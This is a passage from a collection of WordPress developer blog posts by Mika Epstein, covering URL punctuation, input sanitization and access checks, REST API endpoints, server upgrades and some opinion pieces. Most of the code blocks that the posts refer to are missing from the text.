- Fiona Morgan, “Banning the Bullies,” *Salon*, 15 March 2001, `http://www.salon.com/news/feature/2001/03/15/bullying/index.html` (accessed 24 Feb. 2003).
Now in their example, there’s a space before the accessed date, so it’s easy to prevent errant trailing characters, but also they have a space *before* the link to make sure there’s no mistake there as well. The lesson to take away from this is that your URLs shouldn’t be marred with punctuation.
## Punctuation
I believe the correct use of a URL is to *never* prepend or append punctuation. Or in other words: Do not end your sentence wth a URL.
- Good: Please visit http://example.com/
- Bad: Please visit http://example.com/.
That trailing period? That’s bad. That will break on a lot of mail readers. But back to my gleanings from the manual of style, the correct usage is with a space on either side. In order to force that we can just remove the period but then do we use a capital letter for the next sentence?
## The Best We Can Do
Grammar means we put words in a specific order to have a specific meaning. The same holds true for using URLs in our content. We must be aware of their context and placement.
Some good examples:
> Please visit our site at http://example.com for more information.
Or
> If you look at their website – http://example.com – you can see the magnitude of their errors.
In both of those cases, we’ve put the URL in the middle of the sentence either prefacing it with an ‘at’ or using hyphens to indicate the URL is something special. The second way highlights the URL more in a text-only environment.
Alright, what if you want to tell someone to download a link?
> Lorem ipsum blah blah blah
> Download the code here: http://example.com
Notice how I put the download link on it’s own line? That breaks it out visually as well as generating a call to action. Download the code here.
**Categories:** How It Is
**Tags:** email, grammar, internet
---
### [Trust No One](https://halfelf.org/2017/trust-no-one/)
**Published:** March 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The kinds of users and the kinds of trust each user engenders.
**Content:**
A constant refrain for my security reviews of plugins and themes is to sanitize everything. And sometimes my pedantic nature of sanitizing *everything* leads people to ask me why I don’t trust users.
The short answer is “Because I am one.”
The longer answer is that I believe in three types of users, and I’m aware of their character flaws.
## Users
Most people on the internet fall into this category. They know how to log in and check email and read a blog post. Maybe they leave comments, maybe not. These people are the most basic of them all, but that isn’t a bad thing at all. Users do what they want and don’t often think about the consequences, because for them there really are none except saying things they didn’t mean or wanting a comment deleted.
These users are dangerous because they don’t think about what they’re doing. They trust, blindly sometimes, that the websites they visit won’t hurt them. That means that data they input has to be sanitized and validated because they may not realize what they’re doing. They may put a URL in the email field of your comment form, and they should be warned about those things.
You can’t trust the users because they don’t know any better.
## Experienced Users
This is actually *not* the most dangerous category. You might think they would be, because they know enough to be dangerous. Instead, I’ve found these users know enough to be cautious. They know what they don’t know, and they’re careful about what they’re doing. They check six or eight times before they paste in data, and they read error messages. Oh yes, these people. You know them, don’t you? They send screenshots of errors a test out theories before telling you “This is broken.”
We like those people, though you may be wondering what about the experienced users who don’t do the legwork. To me, they’re users. There’s nothing wrong with being a user, but it changes *my* expectations on what they do and who they are. If someone is experienced, though, they’re going to play with things and that means they might break things when they try to recreate the problems.
You can’t trust the experienced users because they mean well.
## Admin Users
These are the users who terrify me the most, and sadly, this is where most WordPress users actually are. Because if you’ve installed your own version of WordPress, you *are* an admin user. God save your soul. And here’s why they scare me: they have more power the an the experience user but the skill of a user. They’re kind of like toddlers.
This is not meant as an insult. The problem is that, unchecked, they can destroy their own sites. They copy and paste code or content into the post editor. In fact, that’s the biggest problem. Many years ago, my friend John and I spent five days debugging a crash, all because we didn’t know that no one who knew what they were doing would ever enter that data format into a field, and since we were admins, the check was overridden.
You can’t trust the admin users because they have phenomenal cosmic powers.
## Trust No One
Not to sound all Fox Mulder on you, trust no one’s data. Especially not your own. Don’t assume you know what you’re doing, that you never typo, that you’re always right. You’re not. No one is. And we don’t trust data because we could be wrong. It’s just that simple.
**Categories:** How It Is
**Tags:** essay, oped
---
### [(Slightly) More Performant WP Queries](https://halfelf.org/2017/slightly-performant-queries/)
**Published:** March 20, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Theoretical performance gains on your WP_Query calls.
**Content:**
One of the things 10up lists as a [best engineering practice](https://10up.github.io/Engineering-Best-Practices/php/) is this:
> Do not use `posts_per_page => -1`.
> This is a performance hazard. What if we have 100,000 posts? This could crash the site. If you are writing a widget, for example, and just want to grab all of a custom post type, determine a reasonable upper limit for your situation.
This is a very valid point, but I found myself stymied at how to work around it in a case where I knew I needed to check *all* posts in a custom type. And worse that post type was growing every week by 10 to 20. In my case, the reasonable upper limit was an unknown that was also unpredictable. But an endless loop would also be bad.
One of the other recommendations from 10up is not to run more queries than needed. I was already using `no_found_rows => true` to prevent counting the total rows, as it’s really only necessary for pagination. I also force in the post type I’m scanning, which again limits how many possible items will be queried. And yes, I have `update_post_meta_cache` and `update_post_term_cache` set to false as in most cases those aren’t needed either.
But what could I do to make the actual query of getting how many posts of type A had a post meta value that matched post type B? And to make it worse, I could have multiple values in the post metas. It’s really a case where, in retrospect, making them into a custom taxonomy might have been a bit wiser.
What I decided to do was limit the number of posts queried based on how many posts were in the post type.
`posts_per_page => wp_count_posts( 'custom_post_type' )->publish;`
I’m not quite concerned with 100,000 posts, and I have some database caching installed to mitigate the load. But also I have set an upper limit and this feels less insane than the `-1` value. Since I had to generate the count *anyway* for displaying statistics, I moved that check to a variable and called it twice.
**Categories:** How To
**Tags:** coding, wordpress
---
### [CMB2: Repeatable Groups](https://halfelf.org/2017/cmb2-repeatable-groups/)
**Published:** March 27, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some data migration of individual post metas into grouped post meta. Part of a continuing saga in how Sara Lance wants to drive me insane.
**Content:**
This is something that the plugin does out of the box, but my reason for doing it was a little odd.
## Background
Originally, I had a set of TV characters as a custom post type and each one had their own TV show. Since the TV shows are a second post type, the data was saved as a number and that number was used to generate data on the show pages. Look for everyone who has a TV show value of the same ID as the post ID. Yay!
The problem with it was spinoffs and crossovers. As time went on, certain characters began to appear on other shows. And it only got worse, until at length there were 30 characters on more than one show, and the number was only growing.
The quick fix was to make the shows value a repeatable field in CMB2, where I could add multiple shows. Done and done. But then we reached critical mass with how we were handling character *roles*. Was the character a main, a recurring, or a guest?
## Shows and Roles
Breaking down the problem to it’s most simple, we have one data set:
- Show (stored as an ID in an array)
- Role Type (stored as plain text)
Instead of saving it as a data set together, the shows were one field (an array, as I mentioned) and the role types were another (a text field).
In order to make this work, I would have to:
1. Create a field ‘group’ in CMB2 that stored both show and role as related to that show
2. Make that group repeatable for characters on multiple shows
3. Migrate the data
## Data Migration
There are a lot of ways around this. I ended up with going for the super simple route. I exported two CSVs from my database: one of the shows and one of the role types. Each one had the Post ID associated with it, so I opened those up in a spreadsheet app and combined them, for all cases where the Post ID was the same.
This gave me a new table that looked like this: `123, 456, regular`
More or less. The ones where shows were arrays looked like, obviously, arrays. I then converted that into a file with 1500 lines that looked like this:
I could have done it differently, grabbing a file with the data and parsing it on the fly, but I like to look at my 1500 lines and make sure I don’t have weird extra quotes lying around.
Once that was done, I ran the file, having it execute every line one at a time. It took about one episode of *House Hunters: International*.
## The CMB2 Code
In case you’re wondering the code to do this in CMB2 looks like this:
You’ll notice the options are a bit extra custom.
### Get Shows
This is done in two parts:
The reason we search for all shows, from draft to future, is that sometimes we like to schedule updates.
### Character Roles
**Categories:** How To
**Tags:** cmb2, data, migration, wordpress
---
### [EasyApache 4](https://halfelf.org/2016/easyapache-4/)
**Published:** June 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's totally possible that I upgraded to EasyApache 4 so I could have PHP 7 on some domains and not all.
**Content:**
While we use Ubuntu and Debian things at work, I have a CentOS server that is (as of today) on CentOS 7. Which means not only is it weird and uses yum, but it has cPanel and WHM installed.
Over the last year or so, cPanel has been working on EasyApache 4 (EA 4). EasyApache is their … easy way to manage Apache and upgrade things. It’s an interface to help make things like your LAMP stack easier to comprehend, and it’s actually pretty nice. EA 3 has been around for a while, and it has serious limitations. Like you have to re-run EasyApache to upgrade PHP (always annoying), and you can’t have multiple versions of PHP. That means when you upgrade PHP to 5.6, *everyone* is upgraded to 5.6, and damned be the conflicts.
This … was a problem.
I have some older code that can use 5.6 but I’ve not been able to fully test it on 7. And I want 7. You don’t even know.
The actual upgrade process is remarkably painless. I had two errors, one of which was my own doing (don’t try to use opcache if you don’t have opcache installed…) and one was math related. The majority of my settings ported over painlessly.
> AH00316: WARNING: MaxRequestWorkers of 40 is not an integer multiple of ThreadsPerChild of 25, decreasing to nearest multiple 25, for a maximum of 1 servers.
Obviously the fix there was to change MaxRequestWorkers to 50.
The interface itself is much nicer. It’s a modern design that is easy to look at with whitespace and tabbing that is natural. The only thing I didn’t like was I couldn’t tell it ‘Install PHP 7 and pick the same options as PHP 5.6 please.’ I ended up copying down what I’d selected for PHP 5.6 and then manually reproducing.
The provisioning process took a little getting used to, after years of EA 3, but once I had used it a couple times, it felt natural. This can be said of all things. Embrace change, right? It’s also faster, which is very welcome. The longest part is the review process, where it checks for conflicts. This used to happen ‘inline’ with the old deploy, so moving it out just changes the when. I found I preferred it, since I didn’t think “And I’m done!” I knew I couldn’t go forward.
Initially it installed suphp. I didn’t notice that’s what the default was and found all sorts of errors because of permissions. Errors like this:
I actually knew the fix for this was to run the following in my public\_html folder:
And yes, that solved everything. I was logged in as Ms. Groves root anyway, so I bounced through my users and ran it.
But… did I want to stay on suphp? Turns out EA 4 only supports FastCGI with the FastCGI Process Manager (PHP-FPM), and while I’ve been using that for a while (instead of the dread mod\_php). The problem there is that suPHP or CGI PHP handlers don’t support opcache. That meant I either had to suck it up and do the [manual install for FastCGI](https://documentation.cpanel.net/display/60Docs/PHP-FPM+User+Pools) *or* I could wait for v58 of WHM, which will have a UI.
I opted to wait and stay on suPHP right now. The domains on my site are pretty fast, thanks to the SSD and a well optimized server. Load time *did* increase, I won’t lie, but it was pretty negligible. I don’t think it’ll really hurt things at this moment. I did some quick tests on [GTmetrix](https://gtmetrix.com) and found my load time for sites on PHP 7 actually *decreased*.
And that’s why I wanted PHP 7. It’s just *faster*.
**Categories:** How To
**Tags:** centos, easyapache, php, upgrading
---
### [A Day Without Me](https://halfelf.org/2017/a-day-without-me/)
**Published:** March 8, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A day without a woman. Today.
**Content:**
For the first time in over three years, there will not be a post about tech or tech adjacent items today.
Today, March 8, 2017, is International Women’s Day. And today I do no work.
Read more about [A Day Without a Woman](https://www.womensmarch.com/womensday).
**Categories:** How It Is
**Tags:** oped, politics
---
### [You Are Not Psychic](https://halfelf.org/2017/you-are-not-psychic/)
**Published:** March 15, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You don't know what will be insecure next. You can't. So secure your code as best you can and secure it better if people point out your shortcomings. Learn. Improve. Protect.
**Content:**
The other day I hear someone mention that they were securing software that they didn’t even have the words for 5 years ago. That reminded me of how fast technology moves. Things that didn’t exist last year are vulnerable today, and the discovery of those things only happens faster as we invent weirder and weirder ways of reinventing the wheel.
## The Myth of Perfection
A well known saying is that the perfect is the enemy of the good. We take that to mean that if we wait until a thing is perfect, we will never feel it is done enough and ready enough for the world. In Open Source technology we’re fond of releasing and iterating, accepting the lack of perfection and aiming instead for the minimum. What is ‘good enough’ to let people use our work and improve on it?
Perfection doesn’t exist. There is nothing on the planet that is perfect and there never will be. But accepting this doesn’t mean we allow imperfection and danger into our lives.
## The Balance of Reality
> Everyone screws up code, no matter how awesome a professional you are. Accept it 🙂
I said that nearly three years ago, and I’ve argued before that it’s okay to screw up. I really do believe that making mistakes isn’t a bad thing. But at the same time, many people understood that to mean I was alright with shipping code that I knew was bad. This is not at all the case.
If you know your code is bad or insecure, you fix it. Period. You don’t let things you *know* are bad out the door. But you *do* release things that work and perhaps lack all the features you want. There’s a difference between releasing bad code and releasing imperfect code.
## The Attack of Security
To turn this on its ear a little, if someone comes up to you and says “This code is wrong, you should do this other thing.” then you have a choice. You can listen and believe them and study if they’re right and test it and fix it, or you can ignore it.
When someone you respect tells you those things, you’re inclined to believe them. But at the same time, your heart takes a hit because “this code is wrong” sounds *a lot* like “this code is bad.” And that sounds like “you wrote bad code” and that *feels* like “you’re a bad coder.”
That slope slipped right down, didn’t it? It’s a reality. It’s in our nature to take admonishments of our work as a personal attack, even if they are rarely meant that way. I can count on my hands the number of times I’ve actually told someone they were a bad coder. I can count on one hand the number of times I’ve told someone who wasn’t *me* that they’re a bad coder. I’ve certainly said it to myself a lot. I believe I’ve told one person directly that I thought they were a bad coder.
I don’t think they actually understood what I meant… Which says something.
## The Shield of Arrogance
We are not psychic. If you are, please let me know who to bet on for the World Series. Being humans, and therefore fallible, we cannot be so arrogant as to presume we know all the possible ways our code might be vulnerable. Technology moves so fast that what looks safe today may turn out to be terrible dangerous tomorrow.
Knowing this, knowing we are imperfect, we know that our fellow humans are also imperfect. The greatest danger to our security is ourselves. And that means, as developer writing code to be used by others, it’s incumbent upon ourselves to protect our fellow humans from innocent mistakes.
## You are not psychic
You don’t know what will be insecure next. You can’t. So secure your code as best you can and secure it better if people point out your shortcomings. Learn. Improve. Protect.
**Categories:** How It Is
**Tags:** essay, oped, security
---
### [A Day Without Women](https://halfelf.org/2017/day-without-women/)
**Published:** March 3, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A day without WordPress. March 8th.
**Content:**
I am writing to inform you that I will not be working on March 8th.
The [Women’s March](https://www.womensmarch.com) organized this day in the same spirit of love and liberation that inspired the march on January 21, 2017. Today, A Day Without A Woman, is a recognition of the value that women of all backgrounds add to our socio-economic system. It is to raise awareness and remind us all of the pervasive and systemic gender-based inequalities that still exist within our society, from the wage gap, to vulnerability to discrimination, sexual harassment, and job insecurity.
I am one woman. On any given weekday, I read a thousand lines of code. I review between 30 and 60 plugins. I write at least 2,000 words on WordPress.
But not March 8th.
On that day, I will review no plugins.
On that day, I will answer no questions in the forums.
On that day, I will not work on WordPress.
I’m one person, and I do shy away from the political on this blog, but now, this year, this time is different.
I understand if you can’t, we can’t all afford to do this, we can’t all risk this. But I can. And I will. Because I am one person, but my family taught me to care about everyone, not just myself. I am one person, but together we are a nation. I am one person, but I am not alone.
So on March 8th, there will be no WordPress for me.
I hope you will stand in support of me, and any of my friends and colleagues. I hope that everyone will give women workers today off without retribution. I hope you will all stand with me and others.
I know this is a big ask, and I know a lot of you can’t. I understand that, I respect that, and I support that. We need to eat.
I am dedicated to my work. I am dedicated to WordPress and DreamHost. I respect them, the work we do, and their values. And I am grateful my company *does* support me when I chose to do these things. I am lucky and thankful and grateful I won’t be fired for taking this day off.
At an increasingly insecure time for the rights of women and other minority groups, it is important to me that I also stand for the value of equality.
I hope you, the people who read this, will support me in my decision. I hope you will join me if you can.
**Categories:** How It Is
**Tags:** oped
---
### [Access: Denied or Granted?](https://halfelf.org/2017/access-denied-granted/)
**Published:** March 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A nonce of your time to discuss what a user can and cannot do.
**Content:**
One of the topics I discuss regularly with developers it that of access. When writing any code, we must always consider who should have access to it. Not in the ‘who can look at my code?’ aspect, but that of who can *run* the code.
This happens a lot with plugins and themes when people create their own settings pages. While I’m the first to admit that the settings API in WordPress is a bag of wet hair that makes little logical sense, using it gives you access to a lot of built in security settings, such as nonces.
But as I often tell people, a nonce is **not** bulletproof security. We cannot rely on nonces for authorization purposes.
## What is a Nonce?
A nonce is a word or expression coined for or used on one occasion. But in security, a nonce is an arbitrary number or phrase that may only be used once. Due to it’s similarity to a nonce word, it reuses the name. In WordPress, it’s a pseudo-random number created on the click of (say) a save button, to ensure that someone had to press the button in order to run the function.
For example. If your settings page has a nonce, then the nonce is generated on click and passed to the function(s) that validate and sanitize and save. If the nonce doesn’t check out, then WordPress knows someone didn’t press a button, and it won’t run the save. This prevents someone from just sending raw data at your code.
## Why isn’t that enough?
With just a nonce, anyone who has access to the page can save data. This is okay when you think about something like a comment form or a contact form. Those are things that need to be accessible by non logged in users, right? What about the WordPress General settings page? The one that lets you change the URL of the website? Right. You only want that to be accessible to admins. Imagine if all logged in users could change that one. Yikes!
In order to protect those pages, you have to consider *who* should have access to your code.
1. Are the users logged in or out?
2. What user permissions should be required?
3. How much damage can be caused if the data is changed?
That’s it. That’s all you have to ask. If it’s a contact form, then a nonce is all you need. If it’s a site definition change, then you may want to restrict it to admins or editors only.
## The Settings API
When you use the settings API, some of this is made pretty straightforward for you:
In that example, the third value for the options page is `manage_options` which means anyone who can manage site options (i.e. administrators) can access the settings page.
The problem you run into is if you want a page to do double duty. What if you want everyone to see a page, but only admins can access the settings part? That’s when you need to use `current_user_can()` to wrap around your code. Just check if a user can do a thing, and then let them in. Or not.
## What Permissions are Best?
In general, you should give admins access to everything, and after that, give people as little access as possible. While it may be annoying that an editor can’t, say, flush the cache, do they really need to? You have to measure the computational expense of what’s happening before you give access to anyone. It’s not just “Who should do a thing?” but “What are the consequences of the thing?”
Look at the cache again. Flushing a cache, emptying it, is easy. But it takes time and server energy to rebuild. By deleting it, you force your server to rebuild everything, and that will slow your site down. An admin, who has access to delete plugins and themes, should be aware of that. An editor, who edits posts and menus, may not. And while some editors might, will all?
This gets harder when you write your code for public use. You have to make hard decisions to protect the majority of users.
Be as prudent as possible. Restrict as much as possible. It’s safer.
**Categories:** How It Works
**Tags:** coding, security, wordpress
---
### [Datepicker and a Widget](https://halfelf.org/2017/datepicker-and-a-widget/)
**Published:** March 13, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding a jquery datepicker to my widgets.
**Content:**
Last week, I worked on making a plugin that would safely and smartly allow for a date selection, and not permit people to put in junk data. I had my code ‘clean’ and only accepted good data, there was one question remaining. How do I make it look GOOD?
Let’s be honest, pretty data matters. If things look good, people use them. It’s that simple. This let me play with another aspect of coding that I don’t generally look at. Javascript.
## What Code Do I Need?
There are a lot of ways to tackle this kind of problem. If you wanted to just list the months and days, and have those be drop-downs, you could do that. The option I went with was to have a calendar date-picker pop up, as I felt that would visually explain what the data should be.
To do that I needed a date picker jQuery script (which is included in WordPress core) and a second script to format the output.
## My Script
This part is really small:
All it does is force the format to be “mm-dd” – so if you picked the date, that’s what it would be.
## Enqueuing the Scripts
In order to make sure the scripts are only loaded on the widgets page, my enqueue function looks like this:
The CSS is because, by default, WordPress doesn’t include the jquery UI CSS.
## Calling the Scripts
In the widget class, I have a function for the form output. In there, I have an input field with a class defined as `datepicker`, which is used by the jquery I wrote above, to know “I’m the one for you!”
## Making it Pretty
To be honest, once I got the JS working, I left the default CSS alone. Why? Because I’m a monkey with a crayon when it comes to design. The default worked fine for me:

It does make me think that it would be *nice* if WordPress included their own customize datepicker colors in the admin colors, but I understand why they don’t. Not everyone or even most people will ever need this.
**Categories:** How To
**Tags:** coding, development, javascript, jquery, wordpress
---
### [Names, Short Names, and More Names](https://halfelf.org/2017/names-short-names-names/)
**Published:** March 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Naming things is hard. It's harder when you're not sure who's going to be using your things. Thankfully I have a friend who inspires me to think deeply.
**Content:**
I was working on a side project with Tracy Levesque of Yikes! and she lamented at my readme. I had totally half-assed it and I knew it, so she cleaned it up and asked me “What are the shortcodes?” I told her and about a second later she suggested two new names. Hers were better.
## Functionality Based Names
I have a habit to name things what they are. I made a shorcode, for example, for a number of posts in a custom post type, and I called it `[numposts]` because that made sense. But when I added in a new one for number of posts in a taxonomy, I made a *second* shortcode named `[numtax]` which is kind of silly isn’t it?
My problem is that I think about each shortcode as it’s own, stand-alone entity. It’s a functional thing. It does a thing. A function should be named uniquely to be clear what it’s for.
## Usage Based Names
Perhaps without meaning to, Tracy jolted my brain into thinking about not the developer but the end user. Now, in my head, I thought “The user would know which shortcode to use and doesn’t have to think about more.” But. She suggested this: `[plugin-name data="type"]`
I stared at that for a moment and felt the light slap me in the face. I’d named the shortcode for their function, but not for the *plugin* they were in, which is akin to all those terribly named functions and classes I’m always ranting about. In short order, the plugin was fixed and I turned back to my posts code.
## One Name to Bind Them
The code defaults to a data set of `posts` and a post type of `post` since those are the most common usages. After that it’s a fast check “Is this a posts data set or a taxonomy one?” and runs the same code it used to run, passing the data along.
## What’s Really The Difference?
“But Mika, now people have to type in more!” I hear you say.
They do. `[numposts]` defaults to posts like it always did. `[numposts posttype="page"]` is four characters longer. But with the four extra characters (and really I could have left that out) comes something simpler: people only have to think of one shortcode.
If they want to count the number of posts, then they just count the number of posts and call it a day. There’s no headache of realizing they meant to get the number of posts with a specific taxonomy. It all just works with one. Remember your terms, and those didn’t change except for needing `[numposts data="taxonomy" term="wordpress"]` which actually makes it *more* obvious what you’re doing.
I have no idea if Tracy meant for me to get this deep into this, but she also knows I spent an hour contemplating the fact that the word ‘read’ exists in multiple tenses, and it’s only by context that I actually know which one anyone meant.
**Categories:** How It Is
**Tags:** coding, development, wordpress
---
### [REST API - Democratizing Reading](https://halfelf.org/2017/rest-api-democratizing-reading/)
**Published:** February 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using the REST API in WordPress will let you democratize your readers' experiences.
**Content:**
Democratize Publishing.
We say that a lot in WordPress. We boldly state that the goal of WordPress is to democratize publishing through Open Source, GPL software.
I’d like to turn that on it’s ear for a moment.
The purpose of the REST API is to democratize *reading*.
## Democratize Discovery
One of the myths of websites is that if you build it, people will come. If that was true, we’d never need plugins like Yoast SEO and we’d never need to self-promote. The reality is that we have to work hard and make our content good. WordPress helps us make it look good, and makes it easier to get it out there, and usually the rest is up to us.
There’s another aspect to discovery, though, and that is the ease of findability. We already address this in WordPress to a degree with RSS, but as much as I’d love to say that was that, it’s not. It’s 2017. People don’t want RSS, they want email and they want the information on social media immediately.
And? They want *apps* on their phones that alert them to new data.
## Democratize Consuming
Reading data with WordPress is easy. We go to a webpage, we see the data, we consume, we move on. With emails and social media, people usually have to click to come to your site and read. While this is good for your traffic, anytime a person has to click you’re running a risk they might not click. That’s why Tweetstorms are more consumable than blog posts. While they are far more transient, they’re accessible in an immediate way.
Making the consuming of data more direct, a more one-to-one relationship, improves the chances that someone will actually read the information. Much of this can be achieved with a good lede, but readers are well to aware of click-bait today. “She tried this blogging software. You won’t believe what happened next!”
Right. You get the point. In order to get people to read, you have to make it *easier* for them to read. Converting WordPress posts to something an app can read needs to be easier for the blogger, or they won’t be able to have success.
## Democratize Reading
The REST API does just that.
It makes the discovery and consumption of your website *easier* by simplifying your output.
When you look at a website you see the design and the layout and the wonderful beauty. When an app reads your data, however, it doesn’t want or need any of that. An app needs the raw data. And the REST API does that. It outputs the data in a super basic and simple way. Furthermore, it lets you add on to this and output specific data in special ways.
## Democratize Publishing
You can publish your data in multiple ways. Today, we all know about the blogging aspect of WordPress. But here are some other ways you could share your data:
- Allow users to download a CSV with all the products on your site and their costs
- Create a plugin that calls custom data, allowing others to have a widget with the data
- Power a mobile app without loading your theme
Could you do all that without the REST API? Of course.
Does the REST API make it *easier* and thus help you democratize faster? Yes. It does.
The REST API can change your life, if you’d only let it.
**Categories:** How It Is
**Tags:** essay, json, oped, rest api
---
### [It Has Been X Days Widget](https://halfelf.org/2017/x-days-widget/)
**Published:** February 22, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a 'how many days since the last death' widget lets me use some functions I've been itching to play with.
**Content:**
[Yesterday I talked about ordering posts by post meta](https://halfelf.org/2017/display-posts-ordered-post-meta/) in a weirdly unique situation. Today I’m going to tell you about an even weirder one.
As I mentioned, what I’m working with is a list of all the dead characters recorded on a site. One of the aspects of this is to allow for us to show a widget that tells visitors how many days it’s been since the last death, and who it was. There are a lot of ways to do this, and one of them is manually updating, but no one likes this. If an event can be automated, everyone wins.
Since I’d already done the lion’s share of the work, forking it over into a widget and grabbing the last (i.e. most recent) death was easier.
## The Code
I broke this up into two classes because it’s habit. I have no other reason.
Which looks like this:

## An Explanation
Some things to note.
While I only allow for customizing the title, I’ve left my arguments as an array in order to let me extend it later. What if, for example, I want to display the featured image as well?
I’ve also left in some ‘default’ calls to [Genesis’ StudioPress theme](https://helf.us/genesis) with regards to the widget layout. That’s because I wrote this for a StudioPress theme.
The whole reason the death year is an array is that, as I mentioned the other day, people may die multiple times. Insert Buffy singing “Hey I died twice” here. I have to get all the dates, pick the largest number (which is the most recent date, remember Unix timestamps are forever increasing), and save that one. Once I find the ultimate largest number, I know that’s my character to save. Problem is I have to go through them all to figure out who died last.
I’m inordinately happy about getting to use `array_slice()` to grab the final item in an array, and ditto `array_shift()` to move the multidimensional array to a single dimension.
Using `array_shift()` changed this:
to this:
And getting to finally use `_n()` in a non-translation sense was fun.
The reason the dead characters are in a function in the first class is that I plan to extend this code later on, maybe making a shortcode or a JSON API call. Who knows!
Finally, I mentioned that there were two ways to list the dead characters. One was by a taxonomy of character clichés and the other was by the death date post meta. In this case, I opted to sort by the taxonomy because if someone has a death date but is not marked as dead, then they were dead and came back to life.
**Categories:** How To
**Tags:** code, widget, wordpress
---
### [JSON Rest API (In Peace)](https://halfelf.org/2017/json-rest-api-peace/)
**Published:** February 27, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making my first REST in Peace API for a site. To show dead people. We all have our hobbies.
**Content:**
This week I’ve been talking about my list of dead characters, which I needed to [order by year](/2017/display-posts-ordered-post-meta) and wanted to display the [most recent death in a widget](/2017/x-days-widget).
Part of my end goal with all this was a dream I had to let people have a widget on their own site where they could display the most recently dead character. There were other ideas I had, like a ‘this day in YEAR, Character X died.’ But for now, I wanted to start my delving into the JSON API with something more simple.
Because this is my first serious go at it.
## Sketching Out The Concept
To do this, I broke my concept down into the logical steps of what was needed.
- Output the data
- Create a JSON URL
- Format the data there
And no, I have no idea how to do any of that, except outputting the data.
## The Rest API
To initialize the Rest API, you have to call a function on `init()` and that’s where it defines the URL that will be called. There are three (or four) parts to a URL:
- Namespace
- Version
- Route
- Arguments
The version isn’t *technically* required, but in the interests of future proofing, it’s probably a good idea. And in this specific case, I don’t have any arguments I want to pass through. You’re going to get *just* the output of the last dead. In deciding that, I was able to determine the most sensible structure.
My namespace should be for my *site*, not just this ‘show the dead’ feature. This is not always going to be the case, but since I’m adding in what I presume will be the first of some APIs, it’s wise to name in a way that is forward thinking. Similarly, I need my route to be logically named, and in this case I’m showing the last death, so I called it `last-death`.
This makes my desired URL `/wp-json/MYSITE/v1/last-death/` and the code is this:
The callback code is what gets my data, and based on my original widget resulted in the page displaying the following:
But I didn’t want it to be formatted like that. Instead, I wanted the code to spit out an array. To do that with my existing setup, I rewrote the `dead_char()` function, taking out all the parts that generated the days since the last death and instead put that in a separate plugin. Now this one gives an API output:
```
{"name":"Gina","url":"https:\/\/example.dev\/character\/gina\/","died":1481068800,"since":"5792233"}
```
That has the added bonus of letting anyone who wants to call it on their own for whatever they want isn’t stuck with my design. Yay, open source!
## The Code
My JSON code went into a class like this:
You may notice that I don’t seem to have a loop, and I call this instead:
For various reasons, I reuse a lot of loop calls. To make my own theme and plugin more human readable, that function does the query. It looks like this:
Since I have to do a lot of odd calls for the statistics on that site, it became smarter to do it that way.
## Calling the Data From YOUR Site!
I made an endpoint! This is all well and good, but the new question is “How does someone else include this on their site?”
The answer there is they need a widget. And it’s a widget I’ve mostly already made! All I had to do was create a plugin that made the widget and instead of calling the loops locally, just call the API.
Whew. That’s huge, I know! And you may have noticed I snuck some translation in there. Always look forward!
**Categories:** How To
**Tags:** coding, plugins, rest api, wordpress
---
### [REST API On This Day](https://halfelf.org/2017/rest-api-day/)
**Published:** March 1, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Extending the existing API to do another thing.
**Content:**
After making a simple REST API output that showed the date (and time since) the last death listed on a site, I had an idea. What if I could list everyone who died on a specific day? I had that data after all, so why not.
## A Word About Evolution of Code
Over time, the code behind my “Bury Your Characters” plugin evolved a great deal. I went from unique function names to singletons to one aspect and now to two. The design changed a lot in the middle as well. I unpacked the parsing of data from being on the data driven site and moved that to the site running the plugin.
The evolution of all this was for a simple reason. I wanted the JSON output to be generated as fast as possible, grabbed, and parsed locally. If the data takes less time to generate on my end, then the speed becomes more of a factor of how fast can the end-user’s site run. That would allow more people to use my plugin.
A secondary bonus reason was that I hate repeating myself in code. If I only have one place to update my code that generates the list of dead characters, for example, then there are fewer odds I’ll screw up and only edit one of the six places it gets used.
This means that the code I posted last week doesn’t look at all like that anymore.
## On My Site (aka The Service)
In a file called `bury-your-queers.php` (yes, this is for that site) I have a class called `LWTV_BYQ_JSON`.
In that class I have a constructor that calls the `rest_api_init` and that’s where I define my URLs. I already had the `last-death` set, so now I’ve added in two more for `on-this-day`:
The reason I have two for my new route is that I wanted both the main URL and the sub URL to work. That is `/lwtv/v1/on-this-day/` and `/lwtv/v1/on-this-day/03-03/` both work. They both call the same callback which checks what was passed to it. If the params for date are empty, it assumes today:
The callback grabs the function `on_this_day()`, passing the date through to it. Now this is the first BIG change. I pulled the code to generate the list of all the dead out of the function for `last_death` because it’s called twice. Now it calls `LWTV_Loops::post_meta_query` which is just a class for all my common loops that get reused a lot. They’re no faster than making the query the regular way, they’re just neater and tidier.
### Output
And all that works to output this (if you pick `03-03`):
or this (if you pick a date where no one died):
Unlike what I did for ‘last death’, here I’m only reporting the year. The reason is that’s all I care about just now. I’m passing the date through, so I don’t need that information anymore.
## On Your Site (aka The Plugin)
The plugin for this has three classes. The first is the master class to build out the widgets and shortcodes and also to parse the data. The other two are for the widgets.
Parsing the data is what we’re going to talk about today.
The function is straightforward. You pass the date to the function, it grabs the data for the date (defaulting to ‘today’ if none is provided) and spit out the resulting data:
I picked paragraphs and un-ordered lists, since I feel those would be easily formatted by most people.
**Categories:** How To
**Tags:** coding, development, rest api, wordpress
---
### [Always Validate Data](https://halfelf.org/2017/always-validate-data/)
**Published:** March 6, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Cleaning data and validate it before saving is just common sense.
**Content:**
In the making of my [REST API plugin’s extension](https://halfelf.org/2017/rest-api-day/), I had written out a way to select what happened on a specific date. While adding that kind of code into a shortcode was something I’d done before, I struggled to try and understand how I could do that with a widget in a way that was safe.
## On Data Validation
